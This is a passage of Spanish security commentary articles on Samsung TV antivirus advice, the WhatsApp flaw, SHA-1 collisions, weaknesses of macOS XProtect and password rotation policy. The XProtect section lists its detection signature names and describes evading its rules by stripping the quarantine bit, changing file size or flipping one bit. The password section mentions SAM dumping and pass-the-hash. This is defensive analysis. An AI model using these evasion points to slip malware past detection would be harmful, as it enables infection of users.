peligrosas”… y ha terminado por incrustar un proto-antivirus llamado Play Protect, además de que muchas marcas personalizan el sistema con un antivirus de serie adicional en Android. ¿De verdad vamos a negar que pueda ocurrir lo mismo con las televisiones? Quizás Samsung ha dado un paso adelante muy atrevido, pero realmente interesante: Con este mensaje realiza una labor de concienciación necesaria. Podemos criticar la forma, pero es mirar el dedo y no a la luna. Detenerse en debates como que si el análisis necesita muchos pasos, que si es manual, que si se debe hacer cada cierto tiempo… son detalles que podemos mejorar, pero el mensaje está claro. Por supuesto que puede automatizarlo, pero ha preferido alertar al usuario, quizás por dos razones que ya hemos mencionado: crea concienciación y el escenario aún es posible, pero poco probable, de ahí que baste con análisis manual. Así comenzaron las recomendaciones antivíricas a principios de los 90 en los PC, aconsejando analizar los disquetes antes de usarlos. Además, la tecnología antivirus está en pañales en estos sistemas operativos. Por ejemplo, Play Protect analiza tu sistema de forma automática cada cierto tiempo, sin avisar al usuario, pero no todos los antivirus comerciales para Android lo hacen por defecto. No se hubiera lanzado a mandar este mensaje si no fuera consciente de que existe malware y son una amenaza posible (obvio) pero incluso, probable. Tenemos que tener en cuenta que existe una “scene” (algunas underground) con las televisiones Samsung, que las manipulan para instalar apps de pago gratuitas o sacar el máximo provecho de su hardware. Se centran fundamentalmente en Rusia. También las hay con LG. Y no olvidemos que ya se han usado las televisiones como ciberarma. Podemos discutir qué clase de antivirus implementan, si se trata de una lista negra o algo heurístico más avanzado, pero no es el caso. El mensaje me parece interesante y no debe ser criticado por intentar que no se tropiece de nuevo en la misma piedra, y lamentemos consecuencias dentro de un tiempo cuando, por ejemplo, el ransomware atrape también a la televisión del salón. Aun así, Samsung ha retirado la recomendación, abrumada (¿avergonzada?) suponemos por el impacto mediático que ha recibido. ¿Se lo pensará dos veces antes de recomendar alguna otra medida sana y lógica en seguridad?

Los sucesos que ocurren (malos o buenos) nos permiten avanzar y mejorar gracias a las conclusiones, enseñanzas o experiencias que podemos extraer de ellos. Sin aprendizaje, los eventos propios o ajenos quedarían como simples anécdotas en lugar de servirnos como experiencias enriquecedoras. Por tanto es interesante extraer las conclusiones adecuadas de cada hecho relevante para sacar el máximo provecho a todo lo que ocurre a nuestro alrededor. Esta semana hemos conocido que un gravísimo fallo en WhatsApp permitía ejecutar código en el teléfono con solo realizar una llamada a la víctima. Las conclusiones en los medios han sido diversas. Algunos han dado a entender que cualquier usuario de WhatApp podía estar infectado. En realidad, siendo prácticos, nadie “malgastaría” un fallo tan jugoso en “gente corriente”. Los atacados son pocos y escogidos así que, si bien por supuesto es necesario actualizar para estar protegidos en el futuro por si se revelan los detalles, lo más probable es que tu teléfono esté a salvo por esta vía de ataque. Por otro lado, el creador de Telegram no podía dejar pasar esta oportunidad para poner sobre la mesa las bondades de su propio software que, casualmente, es competencia directa de WhatsApp. Si bien en su entrada de blog explica muy correctamente algunos puntos (y es indudable que Telegram priorizó desde el primer momento la privacidad y la seguridad) no puede evitar mencionar que por el hecho de que WhatsApp no abre su código, nadie podrá estar seguro de que no contiene puertas traseras. Lamentablemente, incluso en código abierto se han detectado fallos que parecían verdaderas puertas traseras por su simplicidad, hay muchos ejemplos. O código abierto complejo como el de TrueCrypt necesitó de una gran financiación y enormes dosis de paciencia para ser auditado. El código abierto facilita, pero no garantiza nada. Incluso aunque fuese código totalmente abierto (y compilable en casa…, pues eso es otra historia), al transitar los mensajes por ciertos servidores de los que se desconoce su código interno, o por dependencia de librerías de terceros, ya se podría especular sobre puertas traseras si se quisiera. El premio con respecto a la noticia de WhatsApp se lo lleva Bloomberg, que titulaba que el cifrado punto a punto era un timo, por culpa de este incidente. Confundía así a posibles usuarios sin demasiados conocimientos y demostraba de paso que ellos tampoco tenían ni idea de lo que hablaban. Todo software sufre graves fallos de seguridad, sin excepción, y confundir medidas como el cifrado destinadas a la privacidad (e inviolable matemáticamente) con vulnerabilidades en el código, tiene delito. Tanto, que ante el cachondeo general intentó mejorar su titular, sin demasiado éxito, de nuevo poniendo el acento en el cifrado, y que “no era tan seguro como pensabas”. Tanto si el motivo es desconocimiento, como si son decisiones políticas, este tipo de ligerezas no hacen bien a nadie. ¿Qué conclusiones son más acertadas, entonces? Un evento de este tipo ha saltado a los medios generalistas, y eso siempre es un arma de doble filo. Si bien alerta a la población, también puede confundir y asustar. Un fallo tan grave en un software tan masivo no es ninguna novedad. Cada poco encontramos desde APTs específicos que han atacado a compañías muy concretas gracias a 0-days (muchos en Windows), hasta ransomware común que paraliza, por ejemplo, hospitales u organizaciones sensibles. Sin embargo, no están en el día a día de los telediarios. Mientras una situación análoga (sin duda también noticiable), pero en dispositivos móviles, sorprende a la población. Recibe la noticia como una gran novedad (casi como una especie de magia negra), a pesar del trabajo de concienciación realizado durante años sobre los peligros del malware y la necesidad de actualizar en todas las plataformas, móviles incluidos. Con los titulares inadecuados, esto del WhatsApp se convertirá con el tiempo en una simple anécdota en el imaginario colectivo, no una experiencia. El próximo gran fallo en sistemas populares (¿llegaremos al punto de algo gusanable a través del móvil?), probablemente sea recibido con igual sorpresa, extrañeza e… inexperiencia. Lo que nos hace preguntarnos, si bien existen demasiadas carencias en el trabajo de concienciación previo, o bien estamos fracasando en el trabajo de concienciación actual sobre los nuevos sistemas o plataformas ya ubicuos, y nos veremos avocados a recorrer de nuevo el mismo camino para llegar no se sabe muy bien dónde. En ciberseguridad, donde parece que siempre vamos un paso por detrás de los atacantes, donde las tecnologías se nos echan encima antes que las fórmulas para protegerlas, resulta especialmente importante saber extraer grandes conclusiones de grandes errores. Evitamos así pasos en falso y esa querencia por golpearnos repetidamente con la misma piedra.

Se ha anunciado “otro clavo en la tumba de SHA-1” en forma de estudio que demuestra, de otra manera y una vez más, su debilidad. Aunque suene complejo, no es tan complicado. Cada cierto tiempo se vienen oyendo noticias sobre la debilidad de los algoritmos de hash, pero no siempre somos conscientes de qué significa y si son ataques teóricos prácticos. Vamos a intentar aclararlo. Pequeña introducción Una colisión en un algoritmo de hash es conseguir que dos flujos de datos diferentes tengan el mismo hash. SHA-1 son 160 bits y por tanto “solo” 2^160 combinaciones finitas. Pero el flujo de entrada de datos es infinito, así que teóricamente las colisiones son posibles, y de hecho necesitarías en 2^80 combinaciones de media por fuerza bruta para encontrarlas, algo que hoy por hoy es computacionalmente muy complejo. Las colisiones a su vez pueden ser de dos tipos, de prefijos “Idénticos” (o “clásico”) y de “Prefijos elegidos”. Prefijos idénticos y prefijos elegidos En las idénticas, digamos que el atacante no tiene control sobre los mensajes en los que se encuentra la colisión, sino que los elige el algoritmo. Por tanto es menos útil desde el punto de vista práctico (para un atacante). Se tiene que partir de la base de que existe un prefijo con mismo hash,y a partir de ahí se le añaden payloads diferentes para que todo el conjunto tenga el mismo hash, aunque el contenido sea diferente. Esto es muy útil para crear documentos con un mismo hash y diferente contenido. Como un documento o binario con un formato compartido contiene muchas partes idénticas por esa misma razón, es bastante habitual realizar pruebas de concepto de este tipo. Prefijo idéntico usado por Google en 2017 para crear dos PDF idénticos Esto se popularizó con el algoritmo de Xiaoyun Wang y Yu en 2004. Diseñó un código para crear ficheros que podían llegar a ser diferentes en hasta 128 bytes, pero compartir un mismo hash MD5. Un año más tarde se publicó el famoso artículo "Attacking Hash Functions by Poisoned Messages – The Story of Alice and her Boss", donde se mostraban dos ficheros PS (PostScript) con idéntico MD5. Lo consiguieron Magnus Daum y Stefan Lucks. Recordemos que MD5 son 128 bits y SHA-1, 160. Google no se consiguió lo mismo con SHA-1 hasta doce años más tarde y un coste más elevado. Esto se mejoró sustancialmente en 2007 cuando Marc Stevens, Arjen K. Lenstra, y Benne de Wege pudieron crear dos binarios ejecutables completamente diferentes con mismo MD5, gracias a los prefijos "elegidos". Con los prefijos elegidos se abría una nueva fórmula, en la que se ponían en peligro los certificados, por ejemplo, con firmas digitales completamente diferentes pero que se podía simular que disponían del mismo hash, puesto que en un certificado solo se firma el hash de su información. Por tanto, tenemos por un lado los ataques clásicos de Wang y demás con prefijo idéntico y por otro lado, Stevens y demás con sus prefijos elegidos. Uno más sencillo computacionalmente que el otro, y el segundo también más potente. Y ahora, la carrera por reducir la potencia en cada modalidad Una vez establecidas las bases de la teoría, tenemos una carrera para reducir la potencia necesaria para su cálculo, porque no olvidemos que todo esto se trata al final de fuerza bruta. No es lo mismo computar 2^80 que 2^60. Uno puede marcar la diferencia con respecto al otro sobre qué es factible hoy en día. Si reducimos el número, puede que se haya conseguido un logro, sin duda, pero quizás siga sin ser factible para la computación actual. Por tanto, tenemos ataques teóricos, donde con algoritmos en papel, reduce la potencia pero pueden ser imposibles hoy. Por otro lado, tenemos ataques prácticos con la computación actual. Por supuesto, con el tiempo los teóricos pueden volverse prácticos. Para entender qué ha pasado con SHA-1 y por qué debemos preocuparnos, se puede realizar un paralelismo con MD5. 1992: se publica MD5 y en teoría se debería poder romper en 2^64 con fuerza bruta (se le suele llamar ataque cumpleaños). 1993: ya se habla de pseudo colisiones, pero nada preocupante para la época (vectores de inicialización diferentes que ofrecían el mismo digest). 2004: como hemos mencionado, colisiones de prefijo idéntico conseguidas en 2^40. Algo ya "práctico" en una hora. 2005: ficheros diferentes, mismo MD5 con prefijos elegidos. Crean dos certificados con mismo MD5. Curiosidad: en verano de 2005, un australiano consiguió anular una multa de tráfico. El abogado que representaba al amonestado recurrió una denuncia, argumentando que no se había probado que la imagen obtenida por la cámara asociada al radar no hubiese sido modificada de ninguna forma. Las autoridades australianas de tráfico respondieron que se utilizaba el algoritmo MD5 para obtener el hash de las imágenes obtenidas. No encontraron a ningún perito que demostrase ante el tribunal la validez de este algoritmo, y por tanto se libró de la multa. 2006: colisiones de prefijo elegido en 2^49. 2009: se perfeccionan los ataques hasta unos 2^16 los idénticos y 2^39 los elegidos. Se crea una autoridad de certificación falsa con mismo MD5 gracias a 200 consolas PlayStation calculando colisiones. Cualquier certificado puede aparecer como válido ante una CA que use MD5. Muere definitivamente en la práctica y en la teoría. Dos binarios con mismo MD5 y comportamiento diferente Por otro lado, la historia de SHA-1 va más o menos así. 1995: se publica SHA-1. En teoría se debería romper en 2^80 (la mitad de 160) con fuerza bruta. 2005: SHA-1, se publica un primer ataque de colisión con prefijos idénticos en 2^69, algo computacionalmente costoso para el momento y por tanto complejo en la práctica. Aun así ya el NIST recomendó ir migrando. Lo consideraría obsoleto en 2011. 2012: se consigue mejorar los ataques de prefijo idéntico en 2^61. Algo posible, pero muy caro. Ese mismo año se consiguen que los ataques de prefijo elegido caigan a 2^77.1. 2017: Google consigue dos PDF diferentes con mismo hash. Utiliza ataques de prefijo idéntico, que en teoría estaban en 2^61, pero ellos lo consiguen en 2^63 tras varios meses de computación y un coste de más de 100.000 dólares (en GPU). 2019: Se consigue reducir la complejidad del algoritmo de colisión de prefijos elegidos hasta entre 2^66 y 2^69. Esto hoy por hoy requeriría bastante computación, pero… ¿y mañana? Por tanto el paralelismo el claro, muy pronto podremos ver ataques prácticos de colisión de prefijos elegidos en SHA-1, bien porque se mejore aún más el algoritmo, bien porque la capacidad de computación lo permita. Como pasó con MD5, el siguiente paso será crear un certificado o entidad certificadora falsa con mismo SHA-1. Para entonces, más nos vale haber dejado de usar SHA-1 para siempre.

Hace poco, MacOS incluyó una firma para detectar un binario para Windows en su "antivirus" incrustado, ¿tiene sentido esta detección? Se podría pensar que sí, como reacción a que en febrero de 2019 Trend Micro descubría malware creado en .NET para Mac. Se ejecutaba gracias a la implementación de Mono que incluía el propio malware en sí como intérprete de su propio código. Pero ahora en serio, ¿tiene sentido? Puede que tenga sentido puntualmente incluir una detección muy concreta que ha saltado a los medios, pero la estrategia en general de este antivirus a largo plazo no está tan clara, aunque reconozca que pretende detectar malware "conocido". La lucha contra el malware que lleva a cabo MacOS en su conjunto, parece un despropósito. Pasó de la absoluta negación de los primeros años del siglo XXI hasta la tímida aceptación para, desde 2009, combatir tímidamente el malware. Pero desde entonces no ha evolucionado demasiado. Sigamos con el ejemplo de la detección de un ejecutable para Windows: El malware se detectó en febrero, lo que implica que llevaba un tiempo funcionando. Pero Trend Micro lo anunció y saltó a las noticias, manchando una cuidada reputación. El 19 de abril, Apple incluye su firma en XProtect. Es un tiempo de reacción inaceptable. Por si fuera poco, esta es la primera firma con la que se actualiza XProtect en todo 2019. ¿Es posible que esté relacionada la exposición mediática del malware con el hecho de incluir la firma? ¿Qué prioridad le da a la seguridad de sus usuarios? ¿Sabemos cuánto malware detecta XProtect y cada cuánto se actualiza esta funcionalidad de la que MacOS no habla demasiado? ¿Son Gatekeeper e XProtect en general un movimiento meramente cosmético o de verdad pretenden ayudar a mitigar las potenciales infecciones en MacOS? Qué es cada cosa El asunto del malware en MacOS es un tema cíclico y recurrente (que a veces aburre). Pero para los que se incorporan al mundo de la seguridad, es necesario recordarles la peligrosidad de ciertos mitos que perduran todavía, porque aún existen grandes "negacionistas". XProtect es un rudimentario sistema de detección por firmas de malware que se introdujo en septiembre de 2009. Se trata de un primer acercamiento a un antivirus integrado en MacOS. Tan rudimentario que cuando apareció solo reconocía dos familias que solían atacar al sistema operativo de Apple y exclusivamente comprobaba los ficheros descargados desde Safari, iChat, Mail y ahora Messages (lo que deja fuera a navegadores tan populares en MacOS como Chrome o Firefox). Actualmente XProtect cuenta con algunas firmas más que se pueden ver claramente (nombre del malware y el patrón de detección) en esta ruta: /System/Library/CoreServices/XProtect.bundle/Contents/Resources/ XProtect contiene firmas por un lado, y reglas Yara por otro (viene definido por XProtect.plist y Xprotect.yara en ese directorio), y con los dos sistemas permite la detección y definición del malware, y en esto se apoya GateKeeper, que vigila y se las pasa. La lista XProtect.plist es pública. El número 3 en la URL hace referencia a Mountain Lion. Si se modifica al 2, se ve el fichero de firmas de Lion y 1 es para Snow Leopard. Apple no parece que quiera hablar mucho de ello. site:support.apple.com xprotect en Google no arroja apenas resultados. GateKeeper poco tiene que ver con el malware ni con un "antivirus" como a veces se dice. Gatekeeper se trata de un sistema que controla que las apps descargadas estén firmadas por un ID conocido. Para desarrollar para Apple y publicar en el App Store, el programador debe conseguir (y pagar) un ID con el que firma sus programas. Una especie de certificado. Según Apple "El ID del programador permite a Gatekeeper bloquear aplicaciones creadas por desarrolladores de malware y verificar que las apps no han sido modificadas desde que fueron firmadas. Si una app fuera desarrollada por un programador desconocido (o sin ID) o modificada con él, Gatekeeper puede bloquear la app y que no sea instalada". Por tanto, Gatekeeper está lejos de ser un anti malware. Más bien es un controlador de la integridad, procedencia y autoría de las apps que, si algo le resulta sospechoso, se lo pasará a XProtect marcándolo como "en cuarentena" si viene de un lugar sospechoso. Por otro lado, también existe MRT en MacOS. Es su Malware Removal Tool, que se parece mucho al Malicious Software Removal Tool de Windows. Sirve para eliminar reactivamente el malware que ya esté instalado y solo se ejecuta cuando se inicia el sistema. Por si fuera poco, confía en rutas muy concretas de infección comunes para desinfectar, por tanto, poco puede hacer. Por qué todo esto no parece funcionar demasiado bien Un bit eludible para analizar: XProtect es un sistema basado en firmas (nos olvidamos de heurísticas ni el más mínimo rastro de un sistema de análisis avanzado) que realmente es la "base". Pero sufre toda clase de trabas para ser realmente eficaz. Gatekeeper es el sistema que le dice a XProtect, "voy a ponerle a este archivo recién descargado un bit activo de cuarentena, y a ver si tú lo detectas". Ese bit resulta trivial de eliminar sin ni siquiera tener privilegios, por lo que sería fácil eludir la comprobación base de XProtect. Una actualización muy pobre, tanto en frecuencia como en cantidad: Por poner un ejemplo, como decíamos a fecha de mayo de 2019, XProtect ha recibido solo dos actualizaciones, con solo una firma cada una. la primera de 2019 ocurrió el día 19 de abril (para ese malware “de Windows”), y solo 10 días después, ya actualizó con otra (que introducía una regla para detectar MACOS.6175e25 en sus reglas Yara. De 2009 a 2011, pasó de dos firmas a menos de 20. ¿Cuántas tiene ahora? En su versión 2103, la última de mayo cuenta con 92 firmas (acumuladas en casi 10 años). Son estas: "OSX.CrossRider.A","MACOS.6175e25","MACOS.d1e06b8","OSX.28a9883","OSX.Bundlore.D", "OSX.ParticleSmasher.A","OSX.HiddenLotus.A","OSX.Mughthesec.B","OSX.HMining.D","OSX.Bundlore.B", "OSX.AceInstaller.B","OSX.AdLoad.B.2","OSX.AdLoad.B.1","OSX.AdLoad.A","OSX.Mughthesec.A","OSX.Leverage.A", "OSX.ATG15.B","OSX.Genieo.G","OSX.Genieo.G.1","OSX.Proton.B","OSX.Dok.B","OSX.Dok.A", "OSX.Bundlore.A","OSX.Findzip.A","OSX.Proton.A","OSX.XAgent.A","OSX.iKitten.A","OSX.HMining.C", "OSX.HMining.B","OSX.Netwire.A","OSX.Bundlore.B","OSX.Eleanor.A","OSX.HMining.A","OSX.Trovi.A", "OSX.Hmining.A","OSX.Bundlore.A","OSX.Genieo.E","OSX.ExtensionsInstaller.A","OSX.InstallCore.A", "OSX.KeRanger.A","OSX.GenieoDropper.A","OSX.XcodeGhost.A","OSX.Genieo.D","OSX.Genieo.C", "OSX.Genieo.B","OSX.Vindinstaller.A","OSX.OpinionSpy.B","OSX.Genieo.A","OSX.InstallImitator.C", "OSX.InstallImitator.B","OSX.InstallImitator.A","OSX.VSearch.A","OSX.Machook.A","OSX.Machook.B", "OSX.iWorm.A","OSX.iWorm.B/C","OSX.NetWeird.ii","OSX.NetWeird.i","OSX.GetShell.A","OSX.LaoShu.A", "OSX.Abk.A","OSX.CoinThief.A","OSX.CoinThief.B","OSX.CoinThief.C","OSX.RSPlug.A","OSX.Iservice.A/B", "OSX.HellRTS.A","OSX.OpinionSpy","OSX.MacDefender.A","OSX.MacDefender.B","OSX.QHostWB.A", "OSX.Revir.A","OSX.Revir.ii","OSX.Flashback.A","OSX.Flashback.B","OSX.Flashback.C","OSX.DevilRobber.A", "OSX.DevilRobber.B","OSX.FileSteal.ii","OSX.FileSteal.i","OSX.Mdropper.i","OSX.FkCodec.i","OSX.MaControl.i", "OSX.Revir.iii","OSX.Revir.iv","OSX.SMSSend.i","OSX.SMSSend.ii","OSX.eicar.com.i","OSX.AdPlugin.i", "OSX.AdPlugin2.i","OSX.Leverage.a","OSX.Prxl.2" Incluyendo Eicar y los primerísimos ejemplares con los que se inauguró Xprotect en septiembre de 2009 (OSX.RSPlug.A, OSX.Iservice). XProtect se fundamenta en reglas Yara a plena vista. Yara es estupendo para la "caza" de malware por parte de analistas, pero no tenemos claro si es lo mejor para la detección, sobre todo si se publican las reglas y se deja claro cómo se detecta y bajo qué condiciones se hace.Esto abre la puerta a simples modificaciones para que los creadores de malware puedan eludirlo tranquilamente. Las reglas Yara no solo hay que hacerlas, sino que hay que hacerlas bien. Escoger la singularidad concreta para evitar falsos positivos, y ponérselo difícil a los atacantes para que, cambiando alguna condición, sigan pudiendo atacar sin variar su payload. En concreto, nos llama la atención en este aspecto lo mucho que confía Apple en el tamaño para detectar malware. Lo hace por lo que entendemos que es "eficiencia". En esta regla, se espera a que el fichero sea menor que 3500 bytes (los hashes de ejemplo pesan muy poco, apenas 2k) para calcular el hash y así detectarlos. Cualquier fichero descargado menor de ese tamaño, se comparará con unos hashes bien conocidos desde 2016. Primero discrimina por tamaño, y luego detecta hash, ambas variables muy poco relevantes. Y con esta misma estructura de tamaño y hash, podemos encontrar 42 de las 92 reglas Yara de XProtect que discriminan por tamaño y luego confían en hashes para la detección de malware. No solo se basan en hash. Las reglas Yara de XProtect también usan cadenas significativas para detectar malware y añaden también al final añadiendo el tamaño como condición determinante para detectarlo. Según esta regla, el malware debe ser de tipo Macho, tener todas las cadenas descritas y además se menor de 200kb. Si contiene todas las cadenas pero es mayor de 200k, la condición no se cumple y no se detectaría. El uso del tamaño en reglas Yara no es extraño ni incorrecto de por sí, pero en estas situaciones y como condición de un sistema de protección (y no de "caza"), no parece muy robusta. Y con esta fórmula de tamaño discriminatorio, podemos encontrar 27 (un tercio) de las detecciones que se eludirían simplemente modificando el tamaño del archivo. Recordemos que 42 (casi la mitad) lo harían además alterando un solo bit del archivo. Y esto, con solo 92 firmas en su "base de datos" y analizando exclusivamente los programas que vienen por canales muy concretos (Safari, Mail, iChat y Messages). Si quisiéramos hilar más fino, podríamos mencionar que SHA1 se considera ya obsoleto para calcular el hash, pero tampoco importa demasiado en este contexto. Conclusiones XProtect no pretende competir con ningún antivirus, es cierto, y está diseñado para detectar malwareconocido. Ahora bien, "malware conocido" no es lo mismo que "muestra conocida". Al menos debería abarcar familias y no ficheros concretos. No se debe esperar mucho de él, sino que debe concebirse como una primera, finísima línea de protección contra las amenazas. Pero pensamos que ni aun así cumpliría con su cometido. Las reglas usan hashes para detectar, son escasas y las definiciones de malware siempre se incorporan mucho después de que el malware haya saltado a los medios. Alguien podría argumentar que quizás esas pocas firmas cubren la mayoría del malware conocido para MacOS, pero aunque no sea cierto, la capacidad de reacción y la fórmula para su detección, dejan en muy mal lugar al sistema en general. Por tanto, con XProtect no se puede esperar una protección real, ni siquiera reactiva ¿Qué se espera entonces con este sistema en MacOS? Simple y llanamente, dar una sensación de seguridad a algunos usuarios que "en condiciones ideales de infección" verán un mensaje tranquilizador en sus sistemas. En su favor, decir que al menos Apple no es Android (con un sistema de detección como Play Protect poco eficaz, pero al menos justificable) pero sobre todo porque al menos si los usuarios se limitan a descargar del Apple Store, existen ciertas garantías. Al contrario que Google Play y aunque su tienda no está libre de malware, Apple Store es bastante segura, como pasa con iOS y sus aplicaciones. Y ahora, la eterna pregunta que les gusta tanto a los negacionistas. ¿Necesitas un antimalware en tu MacOS? Diríamos que sí, pero no XProtect. No alimentemos la histeria, pero tampoco a los mitos.

Se atribuye a Bernard Shaw la frase de que los políticos y los pañales deben cambiarse a menudo… y por las mismas razones. Pero… ¿Y las contraseñas? Hasta ahora, la mayoría ha dado por hecho que también deben modificarse periódicamente, pero cada vez son más las voces en contra de este movimiento hasta que Microsoft ha eliminado esta política como "base" para la seguridad de Windows. Ha tenido la osadía de romper con años de tradición y no solo eso, sino que literalmente califica la medida de "obsoleta" y "sin ningún valor". ¿Dejamos de cambiar las contraseñas periódicamente? Como siempre, el mensaje de Microsoft (y otras tantas voces) es tan matizable, que puede llevar a su vez a más confusión que beneficio si no se entienden sus consecuencias. Veamos. Pero entonces, ¿por qué se pedía el cambio de contraseña? Suena a buena idea en teoría, pero no tanto en la práctica. Sí, sabemos que un humano obligado a cambiar su contraseña a menudo, fundamentalmente tenderá a repetir un patrón, donde con alta probabilidad se añada un número al final de una palabra y se vuelva totalmente predecibles si dispones de algún valor de la secuencia. Si se le obliga a cambiarla por completo, no podrá recordar sus contraseñas y acabará por escribirlas, cosa que trae más daño que beneficio. Por supuesto, una de las soluciones es un gestor de contraseñas, pero cuando la contraseña es la de "log in" en el propio Windows (o en todo un directorio activo), resulta más complejo. Tu gestor de contraseñas estará "detrás" de la contraseña que necesitas para abrirlo. ¿Y un gestor en el móvil? Estaría bien, pero tendrías que teclear la contraseña compleja mirando al móvil. ¿Otras soluciones? Sí, pero son tokens o lectores más caros. No es cómodo. Al final es necesario memorizar alguna contraseña. La idea de modificar una contraseña (en concreto las de Windows) cada cierto tiempo, tenía sentido porque en teoría, debía permanecer vigente siempre menos tiempo del que emplearía un potencial atacante en crackearla. Imaginemos una de las muchas técnicas para robar la SAM o volcar la memoria. Estos valores serán atacados por diccionario o fuerza bruta. Si la contraseña es compleja, para cuando la averiguase, el usuario ya la habría modificado. Pero si nos vamos a la práctica, es cierto que hay muchos factores por los que esta argumentación se puede cuestionar hoy por hoy: Ya no se usa LM por defecto y además la potencia de cálculo para realizar crack hoy en día acorta los tiempos, gracias a precálculos como las rainbow tables, etc. ¿Debemos cambiarla cada pocos días entonces? No suena demasiado práctico. Existen otras técnicas que no necesitan de la contraseña en claro. A no ser que pretendas impresionar en un informe de red team, podría usarse pass the hash, por ejemplo. Existen ya sistemas como el Multi Factor Authentication en Azure que permite una integración fácil con el directorio activo. Si finalmente se crackea "contraseña1" y no le funciona al atacante porque ya la cambió la víctima, hay una altas probabilidades de que sea "contraseña2" o sucesivas si el usuario la modifica a menudo. Hoy por hoy, los segundos factores de autenticación son más comunes… Aunque de nuevo, no tanto en los entornos Windows corporativos. Si el atacante llega a controlar un equipo, realmente tendría acceso a la contraseña prácticamente en texto claro si quisiera gracias a varios programas que permiten recuperarla directamente de la memoria. ¿Y esta nueva tendencia? Microsoft lo deja claro: Siempre podrás imponer tu política de cambio, pero deja de requerirlo en sus plantillas de "seguridad básica", para que si el administrador está obligado a cumplirlas, se libre de este "check point" al menos. Argumenta que cambiarla solo sirve si fuesen robadas durante su vigencia. Y claro, si no son robadas porque están protegidas gracias a una política de seguridad robusta, cambiarlas no es necesario. Y si no has implementado política de seguridad alguna, cambiarlas no alterará en nada tu fatal destino, así que menor no intentarlo. ¿o es este un argumento circular realmente vacío?¿Tenemos que recordar que implementar más y mejores medidas no garantiza la seguridad absoluta? Además esta afirmación viola los fundamentos de la seguridad en profundidad, confiando en una capa de protección superior que desmerece a una mitigación preventiva como es el cambio de contraseña. Tendríamos que valorar hasta qué punto esta medida entorpece en cada ámbito, y si no es así, no vemos por qué puede resultar obsoleta o sin valor. Más bien dependerá de cada usuario, y no deben mandarse mensajes tan tajantes a la ligera ¿Entonces ya no cambiamos las contraseñas? Aquí haría una enorme distinción entre usuarios de Windows corporativos (para los que se ha modificado la política) y el resto de servicios protegidos por contraseñas. Un usuario de Windows corporativo es un tipo muy particular de usuario, su contraseña tiene un valor “limitado” dependiendo de sus permisos, y se encuentra en un entorno donde se espera que un administrador vele por su seguridad. Aunque cueste creerlo, para el malware la contraseña de usuario de Windows tiene muy poco valor y no tantas muestras intentan robarla. Mucho malware se asienta en el sistema con todos los privilegios y pocas veces envía la SAM o vuelca la memoria para el atacante. Sin embargo, cualquier otra fórmula de acceso a servicios de terceros (desde espacio en la nube hasta el correo pasando obviamente por los bancos) son un claro objetivo del malware y las muestras que roban esas contraseñas son innumerables. Pero las contraseñas Windows sí tienen valor en entornos corporativos susceptibles de ser atacados. Es más, hoy por hoy, en la época de los APT, de las intrusiones pacientes y dirigidas donde los atacantes campan a sus anchas en los entornos durante meses antes de ser detectados, en los que quizás sean precisamente eventos como un cambio de contraseñan los que alerten de la presencia de un intruso (y no al revés)… parece que es en este momento cuando cambiar la contraseña es una medida incómoda pero necesaria. Pero nunca por sí misma, por supuesto. Además de las medidas que sugiere Microsoft para mitigar el robo, sería necesario añadir la educación al usuario (uso de reglas mnemotécnicas, contraseñas sencillas pero largas en vez de cortas y complejas…) como pilar fundamental. Ni que decir tiene que es necesario considerar seriamente incluir doble autenticación, registro y análisis exhaustivo de logs, etc. Pero sí, las contraseñas deben morir cada cierto tiempo. Imaginamos otro escenario. La contraseña privada de un certificado web se encuentra muy protegida en un entorno donde es altamente improbable que sea robada. Renovar el certificado periódicamente añade complejidad para el administrador y si bien obviamente no se eligen patrones predecibles de claves privadas de certificados, quizás haga más daño que bien su cambio (pensemos en la caducidad de certificados de cliente en el DNI, y toda la infraestructura necesaria para que haya que renovarlos cada cierto tiempo). Así que podríamos considerar eliminar esta recomendación de restringir la vida de los certificados a algunos años. ¿No sería una justificación parecida? Ahora bien, cambiar los certificados no es gratis habitualmente, y todo un negocio depende de su renovación… algo que no pasa con las contraseñas de Windows. ¡Y no solo Windows! Pero es que Microsoft no ha sido el primero en sembrar la duda sobre la utilidad de la rotación de contraseñas. Ya desde 2017, en el párrafo 9 de las Digital Identity Guidelines del NIST, se dice A-B5: SP 800-63B sección 5.1.1.2 : “Verifiers SHOULD NOT require memorized secrets to be changed arbitrarily (e.g., periodically). However, verifiers SHALL force a change if there is evidence of compromise of the authenticator.” Donde básicamente se premia la reacción a la prevención. Si estas recomendaciones se amplían a todo el ámbito de la identidad digital (sistemas locales, en la nube, etc), no parece una buena idea. En el ámbito web, es importante cambiar la contraseña. La "evidencia" de compromiso no está tan clara. Aparecen leaks de bases de datos de webs y compromisos de portales constantemente, cuando para los usuarios es quizás demasiado tarde. Y por supuesto, un usuario no es consciente de si un malware le ha robado la contraseña de un servicio si no han saltado sus sistemas preventivos. Así que esto hay que tomarlo como una recomendación que no hay que malinterpretar, porque otros estándares muy importantes como PCI, todavía recomiendan un cambio cada 90 días. Conclusiones En 2012 se inauguró el "change your password day", donde se animaba a atodo el mundo a cambiar la contraseña el 1 de febrero. El 2 de mayo es también el "WordPassWordDay" para recordar la importancia de proteger las contraseñas. Algunos prefieren el "strong password day" . Pero no es necesario elegir. Pueden ser fuertes, estar arropados por otras tecnologías y además expirar periódicamente. Es bueno replantear paradigmas arraigados, pero habría que sopesar ese supuesto coste de cambio de las contraseñas en cada entorno. En general, son más los escenarios donde parce que deberían rotar periódicamente a un coste mínimo, acorde con la protección del sistema o el valor del activo protegido. Hay que diferenciar en particular entre la recomendación en entorno Windows, y cualquier otro servicio. Contraseñas fuertes, y cambiadas regularmente (tan a menudo como pueda uno sentirse cómodo) y sobre todo adaptada a las circunstancias de cada contraseña (no es lo mismo un usuario de Windows que el sistema de banca online) parece la medida más prudente. Lo interesante sería atacar al uso de las contraseñas en sí, no a su formato. Las contraseñas siempre tendrán un componente de debilidad, y debemos elar por que no sea aún más débil de lo que ya son. Proponer sistemas con mayor seguridad a su alrededor, segundos factores, gestor de identidades, promocionar los TOTP... es una solución. Entre tanto, nuestras contraseñas deben ser fuertes, muy vigiladas, respaldadas por otros factores y… por qué no, volátiles como los pañales (siempre que merezca la pena el pequeño esfuerzo). Imagen: Rawpixel en Freepik.

